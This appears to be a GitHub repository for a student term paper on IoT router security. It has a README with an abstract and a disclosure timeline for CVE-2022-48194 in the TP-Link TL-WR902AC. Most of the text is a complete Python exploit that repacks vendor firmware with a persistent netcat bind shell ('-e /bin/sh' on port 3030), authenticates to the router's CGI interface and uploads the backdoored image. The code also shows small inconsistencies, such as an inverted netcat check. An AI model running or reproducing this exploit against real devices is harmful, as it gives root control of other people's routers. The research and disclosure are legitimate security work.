├── .gitignore ├── Internet_of_Vulnerable_Things.pdf ├── README.md └── exploits ├── CVE-2022-48194.pdf ├── CVE-2022-48194.py ├── Vul_20221130XX.xlsx └── netcat /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /Internet_of_Vulnerable_Things.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/otsmr/internet-of-vulnerable-things/5580eaeb14fe794f97b0e059b209f75806d6ea5a/Internet_of_Vulnerable_Things.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Internet of Vulnerable Things 2 | 3 | The results of my small [term paper](Internet_of_Vulnerable_Things.pdf) on the topic of the *Internet of Vulnerable Things*. 4 | 5 | **Abstract** 6 | 7 | This paper provides a practical demonstration of how insecure the Internet of Things is by hacking a typical IoT device. Several vulnerabilities were identified in the TP-Link router TL-WR902AC, including one that allows an authenticated attacker to launch a root shell in all current TP-Link routers, bringing them under the full control of the attacker. The associated CVE-2022-48194 was rated 8.8. How the vulnerability was discovered and how it can be exploited is part of this paper. As a result of these findings and other examples, we conclude that due to the strong growth of the Internet of Things, the risk of hacked IoT devices will continue to increase if there is no stronger legal regulation. 8 | 9 | 10 | ## Disclosure timeline 11 | 12 | I reported the found remote code execution via flashing malicious firmware to the manufacturer here is the timeline of the reporting. 13 | 14 | > An issue in the firmware update process of TP-Link TL-WR902AC V3 0.9.1 and earlier allows authenticated attackers to execute arbitrary code or cause a Denial of Service (DoS) via uploading a crafted firmware update. 15 | 16 | The exploit can be found in `/exploits/malicious-firmware-update.py` together with the reported description. 17 | 18 | - `November` - I have started my term paper and found the security vulnerability in this process. 19 | - `Nov 23, 2022` - Vulnerability reported to BSI via [online form](https://www.bsi.bund.de/DE/IT-Sicherheitsvorfall/IT-Schwachstellen/Online_Meldung_Schwachstellen/schwachstellenmeldung_node.html). I decided to do this, because TP-Link has not fixed reported vulnerabilities in [the past](https://pwn2learn.dusuel.fr/blog/unauthenticated-root-shell-on-tp-link-tl-wr902ac-router/). 20 | - `Dec 01, 2022` - The BSI wanted more info from me, which is why the vulnerability was first reported to the manufacturer at this point. (I initially thought it would be enough to simply report that the firmware is not signed and that you can easily manipulate it.) 21 | - `Dec 05, 2022` - TP Link requests an English version on which I have additionally added an exploit script. 22 | 23 | 24 | - `Dec 26, 2022` - I asked the BSI what the current status is and got the following information one day later: 25 | - `Dec 23, 2022` - The BSI has asked TP-Link what the current status is. They replied that they had not yet been able to verify the vulnerability and that a final response from the company is expected in early January. Since I wanted a CVE I was advised that I could report it myself. Which is why I found out that this vulnerability was already published a few days ago: 26 | - `Dec 20, 2022` - [Several CVEs](https://www.opencve.io/cve?vendor=tp-link&cvss=&search=firmware+update) have shown up where the same security vulnerability was found, just on different models. 27 | 28 | - `Dec 29, 2022` - Since the vulnerability is already public knowledge, I am publishing my research as well. 29 | - `Dec 30, 2022` - [CVE-2022-48194](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48194) was assigned for the reported vulnerability by MITRE. 30 | - `Jan 9, 2023` - [The CVE](https://nvd.nist.gov/vuln/detail/CVE-2022-48194#VulnChangeHistorySection) was given a score of 8.8 and TP-Link was assigned as the manufacturer. 31 | 32 | -------------------------------------------------------------------------------- /exploits/CVE-2022-48194.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/otsmr/internet-of-vulnerable-things/5580eaeb14fe794f97b0e059b209f75806d6ea5a/exploits/CVE-2022-48194.pdf -------------------------------------------------------------------------------- /exploits/CVE-2022-48194.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/python3 2 | # Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) 3 | # Exploit Author: Tobias Müller 4 | # Date: 2022-12-01 5 | # Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329 6 | # Vendor Homepage: https://www.tp-link.com/ 7 | # Tested On: TP-Link TL-WR902AC 8 | # Vulnerability Description: Remote Code Execution via importing malicious firmware file 9 | # CVE: CVE-2022-48194 10 | # Technical Details: https://github.com/otsmr/internet-of-vulnerable-things 11 | 12 | TARGET_HOST = "192.168.0.1" 13 | ADMIN_PASSWORD = "admin" 14 | TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip" 15 | 16 | 17 | import requests 18 | import os 19 | import glob 20 | import subprocess 21 | import base64, os, hashlib 22 | from Crypto.Cipher import AES, PKCS1_v1_5 # pip install pycryptodome 23 | from Crypto.PublicKey import RSA 24 | from Crypto.Util.Padding import pad 25 | 26 | 27 | 28 | for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]: 29 | if "not found" in subprocess.check_output(["which", program]).decode(): 30 | print(f"[!] need {program} to run") 31 | exit(1) 32 | 33 | 34 | class WebClient(object): 35 | 36 | def __init__(self, host, password): 37 | 38 | self.host = "http://" + host 39 | self.password = password 40 | self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest() 41 | 42 | self.aes_key = "7765636728821987" 43 | self.aes_iv = "8775677306058909" 44 | 45 | self.session = requests.Session() 46 | 47 | crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text 48 | 49 | self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16) 50 | self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16) 51 | self.seq = int(crypto_data.split("\n")[3].split('"')[1]) 52 | 53 | self.jsessionid = self.get_jsessionid() 54 | 55 | 56 | def get_jsessionid(self): 57 | post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n" 58 | self.get_encrypted_request_data(post_data, True) 59 | return self.session.cookies["JSESSIONID"] 60 | 61 | def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): 62 | cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8')) 63 | plaintext_padded = pad(plaintext, aes_block_size) 64 | return cipher.encrypt(plaintext_padded) 65 | 66 | def rsa_encrypt(self, n, e, plaintext): 67 | public_key = RSA.construct((n, e)).publickey() 68 | encryptor = PKCS1_v1_5.new(public_key) 69 | block_size = int(public_key.n.bit_length() / 8) - 11 70 | encrypted_text = '' 71 | for i in range(0, len(plaintext), block_size): 72 | encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex() 73 | return encrypted_text 74 | 75 | def get_encrypted_request_data(self, post_data, is_login: bool): 76 | 77 | encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8')) 78 | encrypted_data = base64.b64encode(encrypted_data).decode() 79 | 80 | self.seq += len(encrypted_data) 81 | signature = f"h={self.password_hash}&s={self.seq}" 82 | if is_login: 83 | signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature 84 | 85 | encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8')) 86 | 87 | body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n" 88 | 89 | return self.cgi_basic("_gdpr", body) 90 | 91 | def cgi_basic(self, url: str, body: str): 92 | 93 | res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={ 94 | "Referer": "http://192.168.0.1/" 95 | }) 96 | 97 | if res.status_code != 200: 98 | print(res.text) 99 | raise ValueError("router not reachable") 100 | 101 | return res 102 | 103 | 104 | def cmd(command): 105 | print("[*] running " + command) 106 | os.system(command) 107 | 108 | def build_backdoor(): 109 | 110 | if os.path.isdir("./tp_tmp"): 111 | cmd("rm -r -f ./tp_tmp") 112 | 113 | os.mkdir("./tp_tmp") 114 | os.chdir('./tp_tmp') 115 | 116 | print("[*] downloading firmware") 117 | res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD) 118 | with open("firmware.zip", "wb") as f: 119 | f.write(res.content) 120 | 121 | print("[*] downloading netcat") 122 | 123 | #res = requests.get(NETCAT_PRECOMPILED_FILE) 124 | #with open("netcat", "wb") as f: 125 | # f.write(res.content) 126 | 127 | if os.path.isfile("netcat"): 128 | print("[!] netcat not found") 129 | exit() 130 | 131 | cmd('unzip firmware.zip') 132 | filename = glob.glob("TL-*.bin")[0] 133 | cmd(f"mv '{filename}' firmware.bin") 134 | cmd('binwalk --dd=".*" firmware.bin') 135 | cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200') 136 | 137 | with open("./squashfs-root/etc/init.d/back", "w") as f: 138 | f.write(""" 139 | #!/bin/sh 140 | while true; 141 | do 142 | netcat -l -p 3030 -e /bin/sh 143 | sleep 5 144 | done 145 | """) 146 | 147 | cmd("chmod +x ./squashfs-root/etc/init.d/back") 148 | 149 | with open("./squashfs-root/etc/init.d/rcS", "r+") as f: 150 | 151 | content = f.read() 152 | content = content.replace("cos &", "/etc/init.d/back &\ncos &") 153 | f.write(content) 154 | 155 | cmd("cp netcat ./squashfs-root/usr/bin/") 156 | cmd("chmod +x ./squashfs-root/usr/bin/netcat") 157 | 158 | cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144") 159 | 160 | size = subprocess.check_output(["file", "backdoor.squashfs"]).decode() 161 | offset = int(size.split(" ")[9]) + 1442304 162 | cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304") 163 | cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304") 164 | cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}") 165 | 166 | os.chdir('../') 167 | 168 | cmd(f"mv ./tp_tmp/backdoor.bin .") 169 | cmd("rm -r -f ./tp_tmp") 170 | 171 | def upload_backdoor(): 172 | 173 | wc = WebClient(TARGET_HOST, ADMIN_PASSWORD) 174 | 175 | print("[*] uploading backdoor") 176 | 177 | files = { 178 | 'filename': open('backdoor.bin','rb') 179 | } 180 | 181 | re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={ 182 | "JSESSIONID": wc.jsessionid 183 | }, headers={ 184 | "Referer": "http://192.168.0.1/mainFrame.htm" 185 | }, files=files) 186 | 187 | if re_upload.status_code != 200 or "OK" not in re_upload.text: 188 | print("[!] error") 189 | exit(1) 190 | 191 | print("[*] success!") 192 | 193 | print("\nWait for router restart, then run:") 194 | print("nc 192.168.0.1 3030") 195 | 196 | 197 | build_backdoor() 198 | upload_backdoor() 199 | -------------------------------------------------------------------------------- /exploits/Vul_20221130XX.xlsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/otsmr/internet-of-vulnerable-things/5580eaeb14fe794f97b0e059b209f75806d6ea5a/exploits/Vul_20221130XX.xlsx -------------------------------------------------------------------------------- /exploits/netcat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/otsmr/internet-of-vulnerable-things/5580eaeb14fe794f97b0e059b209f75806d6ea5a/exploits/netcat --------------------------------------------------------------------------------